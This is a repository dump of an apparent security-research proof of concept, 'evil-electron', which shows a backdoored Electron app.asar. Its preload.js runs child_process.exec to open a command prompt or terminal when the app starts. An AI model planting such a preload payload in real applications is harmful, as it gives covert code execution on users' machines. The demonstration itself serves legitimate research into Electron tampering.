499 | "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
500 | "dev": true,
501 | "requires": {
502 | "minimist": "^1.2.5"
503 | }
504 | },
505 | "ms": {
506 | "version": "2.1.2",
507 | "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz",
508 | "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
509 | "dev": true
510 | },
511 | "normalize-url": {
512 | "version": "4.5.0",
513 | "resolved": "https://registry.npmjs.org/normalize-url/-/normalize-url-4.5.0.tgz",
514 | "integrity": "sha512-2s47yzUxdexf1OhyRi4Em83iQk0aPvwTddtFz4hnSSw9dCEsLEGf6SwIO8ss/19S9iBb5sJaOuTvTGDeZI00BQ==",
515 | "dev": true
516 | },
517 | "npm-conf": {
518 | "version": "1.1.3",
519 | "resolved": "https://registry.npmjs.org/npm-conf/-/npm-conf-1.1.3.tgz",
520 | "integrity": "sha512-Yic4bZHJOt9RCFbRP3GgpqhScOY4HH3V2P8yBj6CeYq118Qr+BLXqT2JvpJ00mryLESpgOxf5XlFv4ZjXxLScw==",
521 | "dev": true,
522 | "optional": true,
523 | "requires": {
524 | "config-chain": "^1.1.11",
525 | "pify": "^3.0.0"
526 | }
527 | },
528 | "object-keys": {
529 | "version": "1.1.1",
530 | "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
531 | "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
532 | "dev": true,
533 | "optional": true
534 | },
535 | "once": {
536 | "version": "1.4.0",
537 | "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
538 | "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
539 | "dev": true,
540 | "requires": {
541 | "wrappy": "1"
542 | }
543 | },
544 | "p-cancelable": {
545 | "version": "1.1.0",
546 | "resolved": "https://registry.npmjs.org/p-cancelable/-/p-cancelable-1.1.0.tgz",
547 | "integrity": "sha512-s73XxOZ4zpt1edZYZzvhqFa6uvQc1vwUa0K0BdtIZgQMAJj9IbebH+JkgKZc9h+B05PKHLOTl4ajG1BmNrVZlw==",
548 | "dev": true
549 | },
550 | "pend": {
551 | "version": "1.2.0",
552 | "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
553 | "integrity": "sha1-elfrVQpng/kRUzH89GY9XI4AelA=",
554 | "dev": true
555 | },
556 | "pify": {
557 | "version": "3.0.0",
558 | "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
559 | "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=",
560 | "dev": true,
561 | "optional": true
562 | },
563 | "prepend-http": {
564 | "version": "2.0.0",
565 | "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
566 | "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc=",
567 | "dev": true
568 | },
569 | "process-nextick-args": {
570 | "version": "2.0.1",
571 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
572 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
573 | "dev": true
574 | },
575 | "progress": {
576 | "version": "2.0.3",
577 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
578 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
579 | "dev": true
580 | },
581 | "proto-list": {
582 | "version": "1.2.4",
583 | "resolved": "https://registry.npmjs.org/proto-list/-/proto-list-1.2.4.tgz",
584 | "integrity": "sha1-IS1b/hMYMGpCD2QCuOJv85ZHqEk=",
585 | "dev": true,
586 | "optional": true
587 | },
588 | "pump": {
589 | "version": "3.0.0",
590 | "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
591 | "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
592 | "dev": true,
593 | "requires": {
594 | "end-of-stream": "^1.1.0",
595 | "once": "^1.3.1"
596 | }
597 | },
598 | "readable-stream": {
599 | "version": "2.3.7",
600 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz",
601 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==",
602 | "dev": true,
603 | "requires": {
604 | "core-util-is": "~1.0.0",
605 | "inherits": "~2.0.3",
606 | "isarray": "~1.0.0",
607 | "process-nextick-args": "~2.0.0",
608 | "safe-buffer": "~5.1.1",
609 | "string_decoder": "~1.1.1",
610 | "util-deprecate": "~1.0.1"
611 | }
612 | },
613 | "responselike": {
614 | "version": "1.0.2",
615 | "resolved": "https://registry.npmjs.org/responselike/-/responselike-1.0.2.tgz",
616 | "integrity": "sha1-kYcg7ztjHFZCvgaPFa3lpG9Loec=",
617 | "dev": true,
618 | "requires": {
619 | "lowercase-keys": "^1.0.0"
620 | }
621 | },
622 | "roarr": {
623 | "version": "2.15.4",
624 | "resolved": "https://registry.npmjs.org/roarr/-/roarr-2.15.4.tgz",
625 | "integrity": "sha512-CHhPh+UNHD2GTXNYhPWLnU8ONHdI+5DI+4EYIAOaiD63rHeYlZvyh8P+in5999TTSFgUYuKUAjzRI4mdh/p+2A==",
626 | "dev": true,
627 | "optional": true,
628 | "requires": {
629 | "boolean": "^3.0.1",
630 | "detect-node": "^2.0.4",
631 | "globalthis": "^1.0.1",
632 | "json-stringify-safe": "^5.0.1",
633 | "semver-compare": "^1.0.0",
634 | "sprintf-js": "^1.1.2"
635 | }
636 | },
637 | "safe-buffer": {
638 | "version": "5.1.2",
639 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
640 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==",
641 | "dev": true
642 | },
643 | "semver": {
644 | "version": "6.3.0",
645 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
646 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==",
647 | "dev": true
648 | },
649 | "semver-compare": {
650 | "version": "1.0.0",
651 | "resolved": "https://registry.npmjs.org/semver-compare/-/semver-compare-1.0.0.tgz",
652 | "integrity": "sha1-De4hahyUGrN+nvsXiPavxf9VN/w=",
653 | "dev": true,
654 | "optional": true
655 | },
656 | "serialize-error": {
657 | "version": "7.0.1",
658 | "resolved": "https://registry.npmjs.org/serialize-error/-/serialize-error-7.0.1.tgz",
659 | "integrity": "sha512-8I8TjW5KMOKsZQTvoxjuSIa7foAwPWGOts+6o7sgjz41/qMD9VQHEDxi6PBvK2l0MXUmqZyNpUK+T2tQaaElvw==",
660 | "dev": true,
661 | "optional": true,
662 | "requires": {
663 | "type-fest": "^0.13.1"
664 | }
665 | },
666 | "sprintf-js": {
667 | "version": "1.1.2",
668 | "resolved": "https://registry.npmjs.org/sprintf-js/-/sprintf-js-1.1.2.tgz",
669 | "integrity": "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug==",
670 | "dev": true,
671 | "optional": true
672 | },
673 | "string_decoder": {
674 | "version": "1.1.1",
675 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
676 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
677 | "dev": true,
678 | "requires": {
679 | "safe-buffer": "~5.1.0"
680 | }
681 | },
682 | "strip-outer": {
683 | "version": "1.0.1",
684 | "resolved": "https://registry.npmjs.org/strip-outer/-/strip-outer-1.0.1.tgz",
685 | "integrity": "sha512-k55yxKHwaXnpYGsOzg4Vl8+tDrWylxDEpknGjhTiZB8dFRU5rTo9CAzeycivxV3s+zlTKwrs6WxMxR95n26kwg==",
686 | "dev": true,
687 | "requires": {
688 | "escape-string-regexp": "^1.0.2"
689 | }
690 | },
691 | "sumchecker": {
692 | "version": "3.0.1",
693 | "resolved": "https://registry.npmjs.org/sumchecker/-/sumchecker-3.0.1.tgz",
694 | "integrity": "sha512-MvjXzkz/BOfyVDkG0oFOtBxHX2u3gKbMHIF/dXblZsgD3BWOFLmHovIpZY7BykJdAjcqRCBi1WYBNdEC9yI7vg==",
695 | "dev": true,
696 | "requires": {
697 | "debug": "^4.1.0"
698 | }
699 | },
700 | "to-readable-stream": {
701 | "version": "1.0.0",
702 | "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
703 | "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q==",
704 | "dev": true
705 | },
706 | "trim-repeated": {
707 | "version": "1.0.0",
708 | "resolved": "https://registry.npmjs.org/trim-repeated/-/trim-repeated-1.0.0.tgz",
709 | "integrity": "sha1-42RqLqTokTEr9+rObPsFOAvAHCE=",
710 | "dev": true,
711 | "requires": {
712 | "escape-string-regexp": "^1.0.2"
713 | }
714 | },
715 | "tunnel": {
716 | "version": "0.0.6",
717 | "resolved": "https://registry.npmjs.org/tunnel/-/tunnel-0.0.6.tgz",
718 | "integrity": "sha512-1h/Lnq9yajKY2PEbBadPXj3VxsDDu844OnaAo52UVmIzIvwwtBPIuNvkjuzBlTWpfJyUbG3ez0KSBibQkj4ojg==",
719 | "dev": true,
720 | "optional": true
721 | },
722 | "type-fest": {
723 | "version": "0.13.1",
724 | "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.13.1.tgz",
725 | "integrity": "sha512-34R7HTnG0XIJcBSn5XhDd7nNFPRcXYRZrBB2O2jdKqYODldSzBAqzsWoZYYvduky73toYS/ESqxPvkDf/F0XMg==",
726 | "dev": true,
727 | "optional": true
728 | },
729 | "typedarray": {
730 | "version": "0.0.6",
731 | "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz",
732 | "integrity": "sha1-hnrHTjhkGHsdPUfZlqeOxciDB3c=",
733 | "dev": true
734 | },
735 | "universalify": {
736 | "version": "0.1.2",
737 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz",
738 | "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==",
739 | "dev": true
740 | },
741 | "url-parse-lax": {
742 | "version": "3.0.0",
743 | "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
744 | "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
745 | "dev": true,
746 | "requires": {
747 | "prepend-http": "^2.0.0"
748 | }
749 | },
750 | "util-deprecate": {
751 | "version": "1.0.2",
752 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
753 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
754 | "dev": true
755 | },
756 | "wrappy": {
757 | "version": "1.0.2",
758 | "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
759 | "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
760 | "dev": true
761 | },
762 | "yallist": {
763 | "version": "4.0.0",
764 | "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz",
765 | "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==",
766 | "dev": true,
767 | "optional": true
768 | },
769 | "yauzl": {
770 | "version": "2.10.0",
771 | "resolved": "https://registry.npmjs.org/yauzl/-/yauzl-2.10.0.tgz",
772 | "integrity": "sha1-x+sXyT4RLLEIb6bY5R+wZnt5pfk=",
773 | "dev": true,
774 | "requires": {
775 | "buffer-crc32": "~0.2.3",
776 | "fd-slicer": "~1.1.0"
777 | }
778 | }
779 | }
780 | }
781 |
--------------------------------------------------------------------------------
/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "evil-electron",
3 | "version": "1.0.0",
4 | "description": "Backdoored app.asar that spawns cmd.",
5 | "main": "main.js",
6 | "scripts": {
7 | "start": "electron ."
8 | },
9 | "repository": {
10 | "type": "git",
11 | "url": "git+https://github.com/parsiya/evil-electron.git"
12 | },
13 | "author": "Parsia Hakimian",
14 | "license": "MIT",
15 | "bugs": {
16 | "url": "https://github.com/parsiya/evil-electron/issues"
17 | },
18 | "homepage": "https://github.com/parsiya/evil-electron#readme",
19 | "devDependencies": {
20 | "electron": "^9.4.0"
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/preload.js:
--------------------------------------------------------------------------------
1 | // Detect the operating system.
2 | var platform = require('process').platform;
3 |
4 | // Commands
5 | const win32Command = "start cmd.exe";
6 | const darwinCommand = "'/System/Applications/Terminal.app/Contents/MacOS/Terminal',function(){}";
7 | const linuxCommand = "gnome-terminal"; // Issue#2: Find a `universal` Linux command.
8 |
9 | var command = "";
10 |
11 | console.log(`Running on ${platform}`);
12 |
13 | switch (platform) {
14 | case "win32":
15 | command = win32Command;
16 | break;
17 | case "darwin":
18 | command = darwinCommand;
19 | break;
20 | case "linux":
21 | command = linuxCommand;
22 | break;
23 | }
24 |
25 | console.log(`Command to be executed: '${command}'`);
26 |
27 | if (command === "") {
28 | console.log(`Operating system '${platform}' is not supported.`);
29 | } else {
30 | // Spawn a command prompt.
31 | require('child_process').exec(command);
32 | }
33 |
--------------------------------------------------------------------------------
/release/app.asar:
--------------------------------------------------------------------------------
1 | ( $ {"files":{".git":{"unpacked":true,"files":{"config":{"size":321,"unpacked":true},"description":{"size":73,"unpacked":true},"HEAD":{"size":23,"unpacked":true},"hooks":{"unpacked":true,"files":{"applypatch-msg.sample":{"size":478,"unpacked":true},"commit-msg.sample":{"size":896,"unpacked":true},"fsmonitor-watchman.sample":{"size":3327,"unpacked":true},"post-update.sample":{"size":189,"unpacked":true},"pre-applypatch.sample":{"size":424,"unpacked":true},"pre-commit.sample":{"size":1638,"unpacked":true},"pre-merge-commit.sample":{"size":416,"unpacked":true},"pre-push.sample":{"size":1348,"unpacked":true},"pre-rebase.sample":{"size":4898,"unpacked":true},"pre-receive.sample":{"size":544,"unpacked":true},"prepare-commit-msg.sample":{"size":1492,"unpacked":true},"update.sample":{"size":3610,"unpacked":true}}},"index":{"size":769,"unpacked":true},"info":{"unpacked":true,"files":{"exclude":{"size":240,"unpacked":true}}},"logs":{"unpacked":true,"files":{"HEAD":{"size":188,"unpacked":true},"refs":{"unpacked":true,"files":{"heads":{"unpacked":true,"files":{"master":{"size":188,"unpacked":true}}},"remotes":{"unpacked":true,"files":{"origin":{"unpacked":true,"files":{"HEAD":{"size":188,"unpacked":true}}}}}}}}},"objects":{"unpacked":true,"files":{"76":{"unpacked":true,"files":{"00055f81c18adffc4c2227c3fd1ec1d867585e":{"size":641,"unpacked":true}}},"3c":{"unpacked":true,"files":{"3629e647f5ddf82548912e337bea9826b434af":{"size":29,"unpacked":true}}},"8c":{"unpacked":true,"files":{"149166f528d3720e79c74e156f68b857959bfa":{"size":756,"unpacked":true}}},"9c":{"unpacked":true,"files":{"faafaf93e3eeb3e8ce7119fef66e319fa043da":{"size":255,"unpacked":true}}},"b8":{"unpacked":true,"files":{"23bcc448f6fd5263abd6bda85d1e40afda9b33":{"size":2639,"unpacked":true}}},"c2":{"unpacked":true,"files":{"ff9c169717dc8d6860fd487079c21bbc55a3b2":{"size":293,"unpacked":true}}},"c6":{"unpacked":true,"files":{"b0b51ff00e4732546751151346ad125f7bbfc7":{"size":8930,"unpacked":true}}},"d3":{"unpacked":true,"files":{"bdade6d25947df696e4fec8220990da200e3f0":{"size":205,"unpacked":true},"c01644c7105b56fc5e0acca8fb1a8fc3fcaed8":{"size":367,"unpacked":true}}},"df":{"unpacked":true,"files":{"7ef6d6199fc96ae50b8bd33cf082ca58eb0c77":{"size":1038,"unpacked":true}}},"e0":{"unpacked":true,"files":{"7db2b947ebd03aab6f2c0380b88eb16d140edd":{"size":316,"unpacked":true}}},"info":{"unpacked":true,"files":{}},"pack":{"unpacked":true,"files":{}}}},"packed-refs":{"size":114,"unpacked":true},"refs":{"unpacked":true,"files":{"heads":{"unpacked":true,"files":{"master":{"size":41,"unpacked":true}}},"remotes":{"unpacked":true,"files":{"origin":{"unpacked":true,"files":{"HEAD":{"size":32,"unpacked":true}}}}},"tags":{"unpacked":true,"files":{}}}},"shallow":{"size":41,"unpacked":true}}},".gitignore":{"size":13,"offset":"0"},"index.html":{"size":223,"offset":"13"},"LICENSE":{"size":1071,"offset":"236"},"main.js":{"size":1330,"offset":"1307"},"package-lock.json":{"size":27274,"offset":"2637"},"package.json":{"size":530,"offset":"29911"},"preload.js":{"size":74,"offset":"30441"},"README.md":{"size":1667,"offset":"30515"}}}node_modules
2 |
3 |
4 |
5 |
6 | Spawn cmd!
7 |
8 |
9 | You should see a command prompt on Windows!
10 | To change it, look in "preload.js".
11 |
12 |
13 | MIT License
14 |
15 | Copyright (c) 2020 Parsia Hakimian
16 |
17 | Permission is hereby granted, free of charge, to any person obtaining a copy
18 | of this software and associated documentation files (the "Software"), to deal
19 | in the Software without restriction, including without limitation the rights
20 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
21 | copies of the Software, and to permit persons to whom the Software is
22 | furnished to do so, subject to the following conditions:
23 |
24 | The above copyright notice and this permission notice shall be included in all
25 | copies or substantial portions of the Software.
26 |
27 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
28 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
29 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
30 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
31 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
32 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
33 | SOFTWARE.// Modules to control application life and create native browser window
34 | const {app, BrowserWindow} = require('electron')
35 | const path = require('path')
36 |
37 | function createWindow () {
38 | // Create the browser window.
39 | const mainWindow = new BrowserWindow({
40 | width: 800,
41 | height: 600,
42 | webPreferences: {
43 | preload: path.join(__dirname, 'preload.js')
44 | // No need for nodeIntegration here because our payload is in preload.js.
45 | }
46 | })
47 |
48 | // and load the index.html of the app.
49 | mainWindow.loadFile('index.html')
50 |
51 | // Open the DevTools.
52 | // mainWindow.webContents.openDevTools()
53 | }
54 |
55 | // This method will be called when Electron has finished
56 | // initialization and is ready to create browser windows.
57 | // Some APIs can only be used after this event occurs.
58 | app.whenReady().then(() => {
59 | createWindow()
60 |
61 | app.on('activate', function () {
62 | // On macOS it's common to re-create a window in the app when the
63 | // dock icon is clicked and there are no other windows open.
64 | if (BrowserWindow.getAllWindows().length === 0) createWindow()
65 | })
66 | })
67 |
68 | // Quit when all windows are closed, except on macOS. There, it's common
69 | // for applications and their menu bar to stay active until the user quits
70 | // explicitly with Cmd + Q.
71 | app.on('window-all-closed', function () {
72 | if (process.platform !== 'darwin') app.quit()
73 | })
74 | {
75 | "name": "evil-electron",
76 | "version": "1.0.0",
77 | "lockfileVersion": 1,
78 | "requires": true,
79 | "dependencies": {
80 | "@electron/get": {
81 | "version": "1.12.2",
82 | "resolved": "https://registry.npmjs.org/@electron/get/-/get-1.12.2.tgz",
83 | "integrity": "sha512-vAuHUbfvBQpYTJ5wB7uVIDq5c/Ry0fiTBMs7lnEYAo/qXXppIVcWdfBr57u6eRnKdVso7KSiH6p/LbQAG6Izrg==",
84 | "dev": true,
85 | "requires": {
86 | "debug": "^4.1.1",
87 | "env-paths": "^2.2.0",
88 | "fs-extra": "^8.1.0",
89 | "global-agent": "^2.0.2",
90 | "global-tunnel-ng": "^2.7.1",
91 | "got": "^9.6.0",
92 | "progress": "^2.0.3",
93 | "sanitize-filename": "^1.6.2",
94 | "sumchecker": "^3.0.1"
95 | }
96 | },
97 | "@sindresorhus/is": {
98 | "version": "0.14.0",
99 | "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.14.0.tgz",
100 | "integrity": "sha512-9NET910DNaIPngYnLLPeg+Ogzqsi9uM4mSboU5y6p8S5DzMTVEsJZrawi+BoDNUVBa2DhJqQYUFvMDfgU062LQ==",
101 | "dev": true
102 | },
103 | "@szmarczak/http-timer": {
104 | "version": "1.1.2",
105 | "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-1.1.2.tgz",
106 | "integrity": "sha512-XIB2XbzHTN6ieIjfIMV9hlVcfPU26s2vafYWQcZHWXHOxiaRZYEDKEwdl129Zyg50+foYV2jCgtrqSA6qNuNSA==",
107 | "dev": true,
108 | "requires": {
109 | "defer-to-connect": "^1.0.1"
110 | }
111 | },
112 | "@types/node": {
113 | "version": "12.12.47",
114 | "resolved": "https://registry.npmjs.org/@types/node/-/node-12.12.47.tgz",
115 | "integrity": "sha512-yzBInQFhdY8kaZmqoL2+3U5dSTMrKaYcb561VU+lDzAYvqt+2lojvBEy+hmpSNuXnPTx7m9+04CzWYOUqWME2A==",
116 | "dev": true
117 | },
118 | "boolean": {
119 | "version": "3.0.1",
120 | "resolved": "https://registry.npmjs.org/boolean/-/boolean-3.0.1.tgz",
121 | "integrity": "sha512-HRZPIjPcbwAVQvOTxR4YE3o8Xs98NqbbL1iEZDCz7CL8ql0Lt5iOyJFxfnAB0oFs8Oh02F/lLlg30Mexv46LjA==",
122 | "dev": true,
123 | "optional": true
124 | },
125 | "buffer-crc32": {
126 | "version": "0.2.13",
127 | "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz",
128 | "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=",
129 | "dev": true
130 | },
131 | "buffer-from": {
132 | "version": "1.1.1",
133 | "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
134 | "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==",
135 | "dev": true
136 | },
137 | "cacheable-request": {
138 | "version": "6.1.0",
139 | "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-6.1.0.tgz",
140 | "integrity": "sha512-Oj3cAGPCqOZX7Rz64Uny2GYAZNliQSqfbePrgAQ1wKAihYmCUnraBtJtKcGR4xz7wF+LoJC+ssFZvv5BgF9Igg==",
141 | "dev": true,
142 | "requires": {
143 | "clone-response": "^1.0.2",
144 | "get-stream": "^5.1.0",
145 | "http-cache-semantics": "^4.0.0",
146 | "keyv": "^3.0.0",
147 | "lowercase-keys": "^2.0.0",
148 | "normalize-url": "^4.1.0",
149 | "responselike": "^1.0.2"
150 | },
151 | "dependencies": {
152 | "get-stream": {
153 | "version": "5.1.0",
154 | "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.1.0.tgz",
155 | "integrity": "sha512-EXr1FOzrzTfGeL0gQdeFEvOMm2mzMOglyiOXSTpPC+iAjAKftbr3jpCMWynogwYnM+eSj9sHGc6wjIcDvYiygw==",
156 | "dev": true,
157 | "requires": {
158 | "pump": "^3.0.0"
159 | }
160 | },
161 | "lowercase-keys": {
162 | "version": "2.0.0",
163 | "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-2.0.0.tgz",
164 | "integrity": "sha512-tqNXrS78oMOE73NMxK4EMLQsQowWf8jKooH9g7xPavRT706R6bkQJ6DY2Te7QukaZsulxa30wQ7bk0pm4XiHmA==",
165 | "dev": true
166 | }
167 | }
168 | },
169 | "clone-response": {
170 | "version": "1.0.2",
171 | "resolved": "https://registry.npmjs.org/clone-response/-/clone-response-1.0.2.tgz",
172 | "integrity": "sha1-0dyXOSAxTfZ/vrlCI7TuNQI56Ws=",
173 | "dev": true,
174 | "requires": {
175 | "mimic-response": "^1.0.0"
176 | }
177 | },
178 | "concat-stream": {
179 | "version": "1.6.2",
180 | "resolved": "https://registry.npmjs.org/concat-stream/-/concat-stream-1.6.2.tgz",
181 | "integrity": "sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==",
182 | "dev": true,
183 | "requires": {
184 | "buffer-from": "^1.0.0",
185 | "inherits": "^2.0.3",
186 | "readable-stream": "^2.2.2",
187 | "typedarray": "^0.0.6"
188 | }
189 | },
190 | "config-chain": {
191 | "version": "1.1.12",
192 | "resolved": "https://registry.npmjs.org/config-chain/-/config-chain-1.1.12.tgz",
193 | "integrity": "sha512-a1eOIcu8+7lUInge4Rpf/n4Krkf3Dd9lqhljRzII1/Zno/kRtUWnznPO3jOKBmTEktkt3fkxisUcivoj0ebzoA==",
194 | "dev": true,
195 | "optional": true,
196 | "requires": {
197 | "ini": "^1.3.4",
198 | "proto-list": "~1.2.1"
199 | }
200 | },
201 | "core-js": {
202 | "version": "3.6.5",
203 | "resolved": "https://registry.npmjs.org/core-js/-/core-js-3.6.5.tgz",
204 | "integrity": "sha512-vZVEEwZoIsI+vPEuoF9Iqf5H7/M3eeQqWlQnYa8FSKKePuYTf5MWnxb5SDAzCa60b3JBRS5g9b+Dq7b1y/RCrA==",
205 | "dev": true,
206 | "optional": true
207 | },
208 | "core-util-is": {
209 | "version": "1.0.2",
210 | "resolved": "https://registry.npmjs.org/core-util-is/-/core-util-is-1.0.2.tgz",
211 | "integrity": "sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=",
212 | "dev": true
213 | },
214 | "debug": {
215 | "version": "4.1.1",
216 | "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz",
217 | "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==",
218 | "dev": true,
219 | "requires": {
220 | "ms": "^2.1.1"
221 | }
222 | },
223 | "decompress-response": {
224 | "version": "3.3.0",
225 | "resolved": "https://registry.npmjs.org/decompress-response/-/decompress-response-3.3.0.tgz",
226 | "integrity": "sha1-gKTdMjdIOEv6JICDYirt7Jgq3/M=",
227 | "dev": true,
228 | "requires": {
229 | "mimic-response": "^1.0.0"
230 | }
231 | },
232 | "defer-to-connect": {
233 | "version": "1.1.3",
234 | "resolved": "https://registry.npmjs.org/defer-to-connect/-/defer-to-connect-1.1.3.tgz",
235 | "integrity": "sha512-0ISdNousHvZT2EiFlZeZAHBUvSxmKswVCEf8hW7KWgG4a8MVEu/3Vb6uWYozkjylyCxe0JBIiRB1jV45S70WVQ==",
236 | "dev": true
237 | },
238 | "define-properties": {
239 | "version": "1.1.3",
240 | "resolved": "https://registry.npmjs.org/define-properties/-/define-properties-1.1.3.tgz",
241 | "integrity": "sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ==",
242 | "dev": true,
243 | "optional": true,
244 | "requires": {
245 | "object-keys": "^1.0.12"
246 | }
247 | },
248 | "detect-node": {
249 | "version": "2.0.4",
250 | "resolved": "https://registry.npmjs.org/detect-node/-/detect-node-2.0.4.tgz",
251 | "integrity": "sha512-ZIzRpLJrOj7jjP2miAtgqIfmzbxa4ZOr5jJc601zklsfEx9oTzmmj2nVpIPRpNlRTIh8lc1kyViIY7BWSGNmKw==",
252 | "dev": true,
253 | "optional": true
254 | },
255 | "duplexer3": {
256 | "version": "0.1.4",
257 | "resolved": "https://registry.npmjs.org/duplexer3/-/duplexer3-0.1.4.tgz",
258 | "integrity": "sha1-7gHdHKwO08vH/b6jfcCo8c4ALOI=",
259 | "dev": true
260 | },
261 | "electron": {
262 | "version": "9.0.5",
263 | "resolved": "https://registry.npmjs.org/electron/-/electron-9.0.5.tgz",
264 | "integrity": "sha512-bnL9H48LuQ250DML8xUscsKiuSu+xv5umXbpBXYJ0BfvYVmFfNbG3jCfhrsH7aP6UcQKVxOG1R/oQExd0EFneQ==",
265 | "dev": true,
266 | "requires": {
267 | "@electron/get": "^1.0.1",
268 | "@types/node": "^12.0.12",
269 | "extract-zip": "^1.0.3"
270 | }
271 | },
272 | "encodeurl": {
273 | "version": "1.0.2",
274 | "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-1.0.2.tgz",
